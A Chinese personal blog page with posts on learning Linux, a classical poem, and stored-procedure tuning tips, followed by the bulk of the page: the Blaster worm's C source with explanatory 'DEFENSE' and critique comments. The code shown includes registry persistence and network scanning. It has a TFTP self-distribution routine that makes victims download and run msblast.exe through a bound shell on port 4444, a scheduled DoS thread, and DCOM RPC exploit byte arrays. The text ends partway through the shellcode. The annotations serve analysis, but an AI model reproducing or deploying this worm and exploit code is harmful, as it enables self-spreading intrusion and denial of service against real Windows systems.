  好像跑题了,我说要给想学Linux(UNIX)的朋友的一点建议,但却说了这样的话,

  但我觉得没有跑题,我希望你看到这里已经能够知道我要给你的建议是什么了。

  1.根据你目前的水平,确定Linux对你的意义有多大。

  2.确定你玩的是Linux而不是X

  3.X系统卸了,剩下的空间装上源代码

  4.不要用rpm -i的方式安装程序,用自己编译的方法

  5.找个合用的telnet软件,我推荐SecureCRT.

  6.如果你只有一台电脑,安装Vmware.用这个方式来接触UNIX

  7.再看一下帖子,自己再一次体会我帖子中暗藏的建议

  8.在学习Linux的过程中的,把被linux玩的经验记下来

  9.在玩linux的过程中,把linux怎么被你玩的趣事记下来

- 作者: 血衣 2006年06月12日, 星期一 17:22  回复(1) |  引用(0) 加入博采

喜欢的词

这首词虽然不是辛弃疾的,但他与稼轩都有同样的豪气,同样的壮志,却也同样的悲郁

        怒发冲冠,凭阑处,潇潇雨歇。抬望眼,仰天长啸,壮怀激烈。三十功名尘与土,八千里路云和月。莫等闲,白了少年头,空悲切。
       靖康耻,犹未雪;臣子恨,何时歇(灭)?驾长车,踏破贺兰山缺。壮志饥餐胡虏肉,笑谈渴饮匈奴血。待从头,收拾旧山河,朝天阙

有空听听满江红的歌,虽然不好听,但还是可以听出里面的金戈铁马,朱仙镇的长嘶叹息....

- 作者: 血衣 2006年05月30日, 星期二 12:14  回复(0) |  引用(0) 加入博采

存储过程编写经验和优化措施
一、前言:主要是针对Sybase和SQL Server数据库,但其它数据库应该有一些共性。

二、适合读者对象:数据库开发程序员,数据库的数据量很多,涉及到对SP(存储过程)的优化的项目开发人员,对数据库有浓厚兴趣的人。

三、介绍:在数据库的开发过程中,经常会遇到复杂的业务逻辑和对数据库的操作,这个时候就会用SP来封装数据库操作。如果项目的SP较多,书写又没有一定的规范,将会影响以后的系统维护困难和大SP逻辑的难以理解,另外如果数据库的数据量大或者项目对SP的性能要求很,就会遇到优化的问题,否则速度有可能很慢,经过亲身经验,一个经过优化过的SP要比一个性能差的SP的效率甚至高几百倍。

四、内容

1、开发人员如果用到其他库的Table或View,务必在当前库中建立View来实现跨库操作,最好不要直接使用“databse.dbo.table_name”,因为sp_depends不能显示出该SP所使用的跨库table或view,不方便校验。

2、开发人员在提交SP前,必须已经使用set showplan on分析过查询计划,做过自身的查询优化检查。

3、高程序运行效率,优化应用程序,在SP编写过程中应该注意以下几点:

a)    SQL的使用规范:

   i. 尽量避免大事务操作,慎用holdlock子句,提高系统并发能力。

   ii. 尽量避免反复访问同一张或几张表,尤其是数据量较大的表,可以考虑先根据条件提取数据到临时表中,然后再做连接。

   iii. 尽量避免使用游标,因为游标的效率较差,如果游标操作的数据超过1万行,那么就应该改写;如果使用了游标,就要尽量避免在游标循环中再进行表连接的操作。

   iv. 注意where字句写法,必须考虑语句顺序,应该根据索引顺序、范围大小来确定条件子句的前后顺序,尽可能的让字段顺序与索引顺序相一致,范围从大到小。

   v. 不要在where子句中的“=”左边进行函数、算术运算或其他表达式运算,否则系统将可能无法正确使用索引。

   vi. 尽量使用exists代替select count(1)来判断是否存在记录,count函数只有在统计表中所有行数时使用,而且count(1)比count(*)更有效率。

   vii. 尽量使用“>=”,不要使用“>”。

   viii. 注意一些or子句和union子句之间的替换

   ix. 注意表之间连接的数据类型,避免不同类型数据之间的连接。

   x. 注意存储过程中参数和数据类型的关系。

   xi. 注意insert、update操作的数据量,防止与其他应用冲突。如果数据量超过200个数据页面(400k),那么系统将会进行锁升级,页级锁会升级成表级锁。

b)    索引的使用规范:

   i. 索引的创建要与应用结合考虑,建议大的OLTP表不要超过6个索引。

   ii. 尽可能的使用索引字段作为查询条件,尤其是聚簇索引,必要时可以通过index index_name来强制指定索引

   iii. 避免对大表查询时进行table scan,必要时考虑新建索引。

   iv. 在使用索引字段作为条件时,如果该索引是联合索引,那么必须使用到该索引中的第一个字段作为条件时才能保证系统使用该索引,否则该索引将不会被使用。

   v. 要注意索引的维护,周期性重建索引,重新编译存储过程。

c)    tempdb的使用规范:

   i. 尽量避免使用distinct、order by、group by、having、join、cumpute,因为这些语句会加重tempdb的负担。

   ii. 避免频繁创建和删除临时表,减少系统表资源的消耗。

   iii. 在新建临时表时,如果一次性插入数据量很大,那么可以使用select into代替create table,避免log,提高速度;如果数据量不大,为了缓和系统表的资源,建议先create table,然后insert。

   iv. 如果临时表的数据量较大,需要建立索引,那么应该将创建临时表和建立索引的过程放在单独一个子存储过程中,这样才能保证系统能够很好的使用到该临时表的索引。

    v. 如果使用到了临时表,在存储过程的最后务必将所有的临时表显式删除,先truncate table,然后drop table,这样可以避免系统表的较长时间锁定。

    vi. 慎用大的临时表与其他大表的连接查询和修改,减低系统表负担,因为这种操作会在一条语句中多次使用tempdb的系统表。

d)    合理的算法使用:

根据上面已提到的SQL优化技术和ASE Tuning手册中的SQL优化内容,结合实际应用,采用多种算法进行比较,以获得消耗资源最少、效率最高的方法。具体可用ASE调优命令:set statistics io on, set statistics time on , set showplan on 等

- 作者: 血衣 2006年05月12日, 星期五 09:24  回复(0) |  引用(0) 加入博采

带详细解释的冲击波原代码
Blaster
Worm for Windows
blaster.cpp
--------------------------------------------------------------------------------

#include <winsock2.h>
#include <ws2tcpip.h> /*IP_HDRINCL*/
#include <wininet.h> /*InternetGetConnectedState*/
#include <stdio.h>

#pragma comment (lib, "ws2_32.lib")
#pragma comment (lib, "wininet.lib")
#pragma comment (lib, "advapi32.lib")


/*
* These strings aren't used in the worm, Buford put them here
* so that whitehat researchers would discover them.
* BUFORD: Note that both of these messages are the typical
* behavior of a teenager who recently discovered love, and
* is in the normal teenage mode of challenging authority.
*/
const char msg1[]="I just want to say LOVE YOU SAN!!";
const char msg2[]="billy gates why do you make this possible ?"
" Stop making money and fix your software!!";


/*
* Buford probably put the worm name as a "define" at the top
* of his program so that he could change the name at any time.
* 2003-09-29: This is the string that Parson changed.
*/
#define MSBLAST_EXE "msblast.exe"

/*
* MS-RPC/DCOM runs over port 135.
* DEFENSE: firewalling port 135 will prevent systems from
* being exploited and will hinder the spread of this worm.
*/
#define MSRCP_PORT_135 135

/*
* The TFTP protocol is defined to run on port 69. Once this
* worm breaks into a victim, it will command it to download
* the worm via TFTP. Therefore, the worms briefly runs a
* TFTP service to deliver that file.
* DEFENSE: firewalling 69/udp will prevent the worm from
* fully infected a host.
*/
#define TFTP_PORT_69 69

/*
* The shell-prompt is established over port 4444. The
* exploit code (in the variable 'sc') commands the victim
* to "bind a shell" on this port. The exploit then connects
* to that port to send commands, such as TFTPing the
* msblast.exe file down and launching it.
* DEFENSE: firewalling 4444/tcp will prevent the worm from
* spreading.
*/
#define SHELL_PORT_4444 4444


/*
* A simple string to hold the current IP address
*/
char target_ip_string[16];

/*
* A global variable to hold the socket for the TFTP service.
*/
int fd_tftp_service;

/*
* Global flag to indicate this thread is running. This
* is set when the thread starts, then is cleared when
* the thread is about to end.
* This demonstrates that Buford isn't confident with
* multi-threaded programming -- he should just check
* the thread handle.
*/
int is_tftp_running;

/*
* When delivering the worm file to the victim, it gets the
* name by querying itself using GetModuleFilename(). This
* makes it easier to change the filename or to launch the
* worm. */
char msblast_filename[256+4];

int ClassD, ClassC, ClassB, ClassA;

int local_class_a, local_class_b;

int winxp1_or_win2k2;


ULONG WINAPI blaster_DoS_thread(LPVOID);
void blaster_spreader();
void blaster_exploit_target(int fd, const char *victim_ip);
void blaster_send_syn_packet(int target_ip, int fd);


/***************************************************************
* This is where the 'msblast.exe' program starts running
***************************************************************/
void main(int argc, char *argv[])
{
WSADATA WSAData;
char myhostname[512];
char daystring[3];
char monthstring[3];
HKEY hKey;
int ThreadId;
register unsigned long scan_local=0;

/*
* Create a registry key that will cause this worm
* to run every time the system restarts.
* DEFENSE: Slammer was "memory-resident" and could
* be cleaned by simply rebooting the machine.
* Cleaning this worm requires this registry entry
* to be deleted.
*/
RegCreateKeyEx(
/*hKey*/ HKEY_LOCAL_MACHINE,
/*lpSubKey*/ "SOFTWARE\\Microsoft\\Windows\\"
"CurrentVersion\\Run",
/*Reserved*/ 0,
/*lpClass*/ NULL,
/*dwOptions*/ REG_OPTION_NON_VOLATILE,
/*samDesired */ KEY_ALL_ACCESS,
/*lpSecurityAttributes*/ NULL,
/*phkResult */ &hKey,
/*lpdwDisposition */ 0);
RegSetvalueExA(
hKey,
"windows auto update",
0,
REG_SZ,
MSBLAST_EXE,
50);
RegCloseKey(hKey);


/*
* Make sure this isn't a second infection. A common problem
* with worms is that they sometimes re-infect the same
* victim repeatedly, eventually crashing it. A crashed
* system cannot spread the worm. Therefore, worm writers
* now make sure to prevent reinfections. The way Blaster
* does this is by creating a system "global" object called
* "BILLY". If another program in the computer has already
* created "BILLY", then this instance won't run.
* DEFENSE: this implies that you can remove Blaster by
* creating a mutex named "BILLY". When the computer
* restarts, Blaster will falsely believe that it has
* already infected the system and will quit.
*/
CreateMutexA(NULL, TRUE, "BILLY");
if (GetLastError() == ERROR_ALREADY_EXISTS)
ExitProcess(0);

/*
* Windows systems requires "WinSock" (the network API layer)
* to be initialized. Note that the SYNflood attack requires
* raw sockets to be initialized, which only works in
* version 2.2 of WinSock.
* BUFORD: The following initialization is needlessly
* complicated, and is typical of programmers who are unsure
* of their knowledge of sockets..
*/
if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0
&& WSAStartup(MAKEWORD(1,1), &WSAData) != 0
&& WSAStartup(1, &WSAData) != 0)
return;

/*
* The worm needs to read itself from the disk when
* transferring to the victim. Rather than using a hard-coded
* location, it discovered the location of itself dynamically
* through this function call. This has the side effect of
* making it easier to change the name of the worm, as well
* as making it easier to launch it.
*/
GetModuleFileNameA(NULL, msblast_filename,
sizeof(msblast_filename));

/*
* When the worm infects a dialup machine, every time the user
* restarts their machine, the worm's network communication
* will cause annoying 'dial' popups for the user. This will
* make them suspect their machine is infected.
* The function call below makes sure that the worm only
* starts running once the connection to the Internet
* has been established and not before.
* BUFORD: I think Buford tested out his code on a machine
* and discovered this problem. Even though much of the
* code indicates he didn't spend much time on
* testing his worm, this line indicates that he did
* at least a little bit of testing.
*/
while (!InternetGetConnectedState(&ThreadId, 0))
Sleep (20000); /*wait 20 seconds and try again */

/*
* Initialize the low-order byte of target IP address to 0.
*/
ClassD = 0;

/*
* The worm must make decisions "randomly": each worm must
* choose different systems to infect. In order to make
* random choices, the programmer must "seed" the random
* number generator. The typical way to do this is by
* seeding it with the current timestamp.
* BUFORD: Later in this code you'll find that Buford calls
* 'srand()' many times to reseed. This is largely
* unnecessary, and again indicates that Buford is not
* confident in his programming skills, so he constantly
* reseeds the generator in order to make extra sure he
* has gotten it right.
*/
srand(GetTickCount());

/*
* This initializes the "local" network to some random
* value. The code below will attempt to figure out what
* the true local network is -- but just in case it fails,
* the initialization fails, using random values makes sure
* the worm won't do something stupid, such as scan the
* network around 0.0.0.0
*/
local_class_a = (rand() % 254)+1;
local_class_b = (rand() % 254)+1;

/*
* This discovers the local IP address used currently by this
* victim machine. Blaster randomly chooses to either infect
* just the local ClassB network, or some other network,
* therefore it needs to know the local network.
* BUFORD: The worm writer uses a complex way to print out
* the IP address into a string, then parse it back again
* to a number. This demonstrates that Buford is fairly
* new to C programming: he thinks in terms of the printed
* representation of the IP address rather than in its
* binary form.
*/
if (gethostname(myhostname, sizeof(myhostname)) != -1) {
HOSTENT *p_hostent = gethostbyname(myhostname);

if (p_hostent != NULL && p_hostent->h_addr != NULL) {
struct in_addr in;
const char *p_addr_item;

memcpy(&in, p_hostent->h_addr, sizeof(in));
sprintf(myhostname, "%s", inet_ntoa(in));

p_addr_item = strtok(myhostname, ".");
ClassA = atoi(p_addr_item);

p_addr_item = strtok(0, ".");
ClassB = atoi(p_addr_item);

p_addr_item = strtok(0, ".");
ClassC = atoi(p_addr_item);

if (ClassC > 20) {
/* When starting from victim's address range,
* try to start a little bit behind. This is
* important because the scanning logic only
* move forward. */
srand(GetTickCount());
ClassC -= (rand() % 20);
}
local_class_a = ClassA;
local_class_b = ClassB;
scan_local = TRUE;
}
}


/*
* This chooses whether Blaster will scan just the local
* network (40% chance) or a random network (60% chance)
*/
srand(GetTickCount());
if ((rand() % 20) < 12)
scan_local = FALSE;

/*
* The known exploits require the hacker to indicate whether
* the victim is WinXP or Win2k. The worm has to guess. The
* way it guesses is that it chooses randomly. 80% of the time
* it will assume that all victims are WinXP, and 20% of the
* time it will assume all victims are Win2k. This means that
* propogation among Win2k machines will be slowed down by
* the fact Win2k machines are getting DoSed faster than they
* are getting exploited.
*/
winxp1_or_win2k2 = 1;
if ((rand()%10) > 7)
winxp1_or_win2k2 = 2;

/*
* If not scanning locally, then choose a random IP address
* to start with.
* BUG: this worm choose bad ranges above 224. This will
* cause a bunch of unnecessary multicast traffic. Weird
* multicast traffic has historically been an easy way of
* detecting worm activity.
*/
if (!scan_local) {
ClassA = (rand() % 254)+1;
ClassB = (rand() % 254);
ClassC = (rand() % 254);
}


/*
* Check the date so that when in the certain range, it will
* trigger a DoS attack against Micosoft. The following
* times will trigger the DoS attack:
* Aug 16 through Aug 31
* Spt 16 through Spt 30
* Oct 16 through Oct 31
* Nov 16 through Nov 30
* Dec 16 through Dec 31
* This applies to all years, and is based on local time.
* FAQ: The worm is based on "local", not "global" time.
* That means the DoS attack will start from Japan,
* then Asia, then Europe, then the United States as the
* time moves across the globe.
*/
#define MYLANG MAKELANGID(LANG_ENGLISH, SUBLANG_DEFAULT)
#define LOCALE_409 MAKELCID(MYLANG, SORT_DEFAULT)
GetDateformat( LOCALE_409,
0,
NULL, /*localtime, not GMT*/
"d",
daystring,
sizeof(daystring));
GetDateformat( LOCALE_409,
0,
NULL, /*localtime, not GMT*/
"M",
monthstring,
sizeof(monthstring));
if (atoi(daystring) > 15 && atoi(monthstring) > 8)
CreateThread(NULL, 0,
blaster_DoS_thread,
0, 0, &ThreadId);

/*
* As the final task of the program, go into worm mode
* trying to infect systems.
*/
for (;;)
blaster_spreader();

/*
* It'll never reach this point, but in theory, you need a
* WSACleanup() after a WSAStartup().
*/
WSACleanup();
}



/*
* This will be called from CreateThread in the main worm body
* right after it connects to port 4444. After the thread is
* started, it then sends the string "
* tftp -i %d.%d.%d.%d GET msblast.exe" (where the %ds represents
* the IP address of the attacker).
* Once it sends the string, it then waits for 20 seconds for the
* TFTP server to end. If the TFTP server doesn't end, it calls
* TerminateThread.
*/
DWORD WINAPI blaster_tftp_thread(LPVOID p)
{
/*
* This is the protocol format of a TFTP packet. This isn't
* used in the code -- I just provide it here for reference
*/
struct TFTP_Packet
{
short opcode;
short block_id;
char data[512];
};

char reqbuf[512]; /* request packet buffer */
struct sockaddr_in server; /* server-side port number */
struct sockaddr_in client; /* client IP address and port */
int sizeof_client; /* size of the client structure*/
char rspbuf[512]; /* response packet */

static int fd; /* the socket for the server*/
register FILE *fp;
register block_id;
register int block_size;

/* Set a flag indicating this thread is running. The other
* thread will check this for 20 seconds to see if the TFTP
* service is still alive. If this thread is still alive in
* 20 seconds, it will be killed.
*/
is_tftp_running = TRUE; /*1 == TRUE*/

/* Create a server-socket to listen for UDP requests on */
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd == SOCKET_ERROR)
goto closesocket_and_exit;

/* Bind the socket to 69/udp */
memset(&server, 0, sizeof(server));
server.sin_family = AF_INET;
server.sin_port = htons(TFTP_PORT_69);
server.sin_addr.s_addr = 0; /*TFTP server addr = <any>*/
if (bind(fd, (struct sockaddr*)&server, sizeof(server)) != 0)
goto closesocket_and_exit;

/* Receive a packet, any packet. The contents of the received
* packet are ignored. This means, BTW, that a defensive
* "worm-kill" could send a packet from somewhere else. This
* will cause the TFTP server to download the msblast.exe
* file to the wrong location, preventing the victim from
* doing the download. */
sizeof_client = sizeof(client);
if (recvfrom(fd, reqbuf, sizeof(reqbuf), 0,
(struct sockaddr*)&client, &sizeof_client) <= 0)
goto closesocket_and_exit;

/* The TFTP server will respond with many 512 byte blocks
* until it has completely sent the file; each block must
* have a unique ID, and each block must be acknowledged.
* BUFORD: The worm ignores TFTP ACKs. This is probably why
* the worm restarts the TFTP service rather than leaving it
* enabled: it essentially flushes all the ACKs from the
* the incoming packet queue. If the ACKs aren't flushed,
* the worm will incorrectly treat them as TFTP requests.
*/
block_id = 0;

/* Open this file. GetModuleFilename was used to figure out
* this filename. */
fp = fopen(msblast_filename, "rb");
if (fp == NULL)
goto closesocket_and_exit;

/* Continue sending file fragments until none are left */
for (;;) {
block_id++;

/* Build TFTP header */
#define TFTP_OPCODE_DATA 3
*(short*)(rspbuf+0) = htons(TFTP_OPCODE_DATA);
*(short*)(rspbuf+2)= htons((short)block_id);

/* Read next block of data (about 12 blocks total need
* to be read) */
block_size = fread(rspbuf+4, 1, 512, fp);

/* Increase the effective length to include the TFTP
* head built above */
block_size += 4;

/* Send this block */
if (sendto(fd, (char*)&rspbuf, block_size,
0, (struct sockaddr*)&client, sizeof_client) <= 0)
break;

/* Sleep for a bit.
* The reason for this is because the worm doesn't care
* about retransmits -- it therefore must send these
* packets slow enough so congestion doesn't drop them.
* If it misses a packet, then it will DoS the victim
* without actually infecting it. Worse: the intended
* victim will continue to send packets, preventing the
* worm from infecting new systems because the
* requests will misdirect TFTP. This design is very
* bad, and is my bet as the biggest single factor
* that slows down the worm. */
Sleep(900);

/* File transfer ends when the last block is read, which
* will likely be smaller than a full-sized block*/
if (block_size != sizeof(rspbuf)) {
fclose(fp);
fp = NULL;
break;
}
}

if (fp != NULL)
fclose(fp);

closesocket_and_exit:

/* Notify that the thread has stopped, so that the waiting
* thread can continue on */
is_tftp_running = FALSE;
closesocket(fd);
ExitThread(0);

return 0;
}




/*
* This function increments the IP address.
* BUFORD: This conversion from numbers, to strings, then back
* to number is overly complicated. Experienced programmers
* would simply store the number and increment it. This shows
* that Buford does not have much experience work with
* IP addresses.
*/
void blaster_increment_ip_address()
{
for (;;) {
if (ClassD <= 254) {
ClassD++;
return;
}

ClassD = 0;
ClassC++;
if (ClassC <= 254)
return;
ClassC = 0;
ClassB++;
if (ClassB <= 254)
return;
ClassB = 0;
ClassA++;
if (ClassA <= 254)
continue;
ClassA = 0;
return;
}
}


/*
* This is called from the main() function in an
* infinite loop. It scans the next 20 addresses,
* then exits.
*/
void blaster_spreader()
{
fd_set writefds;

register int i;
struct sockaddr_in sin;
struct sockaddr_in peer;
int sizeof_peer;
int sockarray[20];
int opt = 1;
const char *victim_ip;

/* Create the beginnings of a "socket-address" structure that
* will be used repeatedly below on the 'connect()' call for
* each socket. This structure specified port 135, which is
* the port used for RPC/DCOM. */
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(MSRCP_PORT_135);

/* Create an array of 20 socket descriptors */
for (i=0; i<20; i++) {
sockarray[i] = socket(AF_INET, SOCK_STREAM, 0);
if (sockarray[i] == -1)
return;
ioctlsocket(sockarray[i], FIONBIO , &opt);
}

/* Initiate a "non-blocking" connection on all 20 sockets
* that were created above.
* FAQ: Essentially, this means that the worm has 20
* "threads" -- even though they aren't true threads.
*/
for (i=0; i<20; i++) {
int ip;

blaster_increment_ip_address();
sprintf(target_ip_string, "%i.%i.%i.%i",
ClassA, ClassB, ClassC, ClassD);

ip = inet_addr(target_ip_string);
if (ip == -1)
return;
sin.sin_addr.s_addr = ip;
connect(sockarray[i],(struct sockaddr*)&sin,sizeof(sin));
}

/* Wait 1.8-seconds for a connection.
* BUG: this is often not enough, especially when a packet
* is lost due to congestion. A small timeout actually makes
* the worm slower than faster */
Sleep(1800);

/* Now test to see which of those 20 connections succeeded.
* BUFORD: a more experienced programmer would have done
* a single 'select()' across all sockets rather than
* repeated calls for each socket. */
for (i=0; i<20; i++) {
struct timeval timeout;
int nfds;

timeout.tv_sec = 0;
timeout.tv_usec = 0;
nfds = 0;

FD_ZERO(&writefds);
FD_SET((unsigned)sockarray[i], &writefds);

if (select(0, NULL, &writefds, NULL, &timeout) != 1) {
closesocket(sockarray[i]);
} else {
sizeof_peer = sizeof(peer);
getpeername(sockarray[i],
(struct sockaddr*)&peer, &sizeof_peer);
victim_ip = inet_ntoa(peer.sin_addr);

/* If connection succeeds, exploit the victim */
blaster_exploit_target(sockarray[i], victim_ip);
closesocket(sockarray[i]);
}
}

}

/*
* This is where the victim is actually exploited. It is the same
* exploit as created by xfocus and altered by HDMoore.
* There are a couple of differences. The first is that the in
* those older exploits, this function itself would create the
* socket and connect, whereas in Blaster, the socket is already
* connected to the victim via the scanning function above. The
* second difference is that the packets/shellcode blocks are
* declared as stack variables rather than as static globals.
* Finally, whereas the older exploits give the hacker a
* "shell prompt", this one automates usage of the shell-prompt
* to tell the victim to TFTP the worm down and run it.
*/
void blaster_exploit_target(int sock, const char *victim_ip)
{

/* These blocks of data are just the same ones copied from the
* xfocus exploit prototype. Whereas the original exploit
* declared these as "static" variables, Blaster declares
* these as "stack" variables. This is because the xfocus
* exploit altered them -- they must be reset back to their
* original values every time. */
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,

0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,

0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};



unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00

,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45

,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E

,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D

,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41

,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00

,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45

,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00

,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00

,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03

,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00

,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29

,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00

,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00

,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00

,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10

,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF

,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10

,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09

,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00

,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00

,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00

,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00

,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01

,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03

,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00

,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E

,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00

,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00

,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00

,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00

,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00

,0x00,0x00,0x00,0x00,0x00,0x00};

unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};

unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00

,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00

,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00

,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};


unsigned char sc[]=
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x46\x00\x58\x00"

"\xff\xff\xff\xff" /* return address */

